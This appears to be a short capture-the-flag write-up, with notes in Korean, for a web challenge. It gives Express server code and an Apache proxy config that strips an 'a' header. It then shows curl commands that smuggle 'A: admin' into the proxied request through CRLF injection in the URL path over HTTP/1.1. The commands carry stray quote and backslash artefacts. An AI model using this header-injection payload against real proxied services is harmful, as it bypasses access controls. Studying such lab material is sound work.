server.js
// imports
const express = require('express');
const fs = require('fs');
// initializations
const app = express()
const FLAG = fs.readFileSync('flag.txt', { encoding: 'utf8', flag: 'r' }).trim()
const PORT = 3000
// endpoints
app.get('/', async (req, res) => {
if (req.header('a') && req.header('a') === 'admin') {
return res.send(FLAG);
}
return res.send('Hello '+req.query.name.replace("<","").replace(">","")+'!');
});
// start server
app.listen(PORT, async () => {
console.log(`Listening on ${PORT}`)
});
httpd.conf
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
ServerName localhost
DocumentRoot /usr/local/apache2/htdocs
RewriteEngine on
RewriteRule "^/name/(.*)" "<http://backend:3000/?name=$1>" [P]
ProxyPassReverse "/name/" "<http://backend:3000/>"
RequestHeader unset A
RequestHeader unset a
</VirtualHost>
헤더에 a : admin을 넣으면 flag 출력이 쉽다.
CRLF 로 우회하기로 결정
curl --path-as-is -i \\ -H "Host: wonka.chal.cyberjousting.com" \\ '<https://wonka.chal.cyberjousting.com/name/test%0aA:%20admin'
>
http/2에서는 crlf 인젝션이 실행이 안됨
그래서 정확히 http/1.1을 입력해서 요청을 보내준다.
curl -i --http1.1 --path-as-is \\ -H "Host: wonka.chal.cyberjousting.com" \\ '<https://wonka.chal.cyberjousting.com/name/foo%0d%0aA:%20admin%0d%0a%0d%0a’
>flag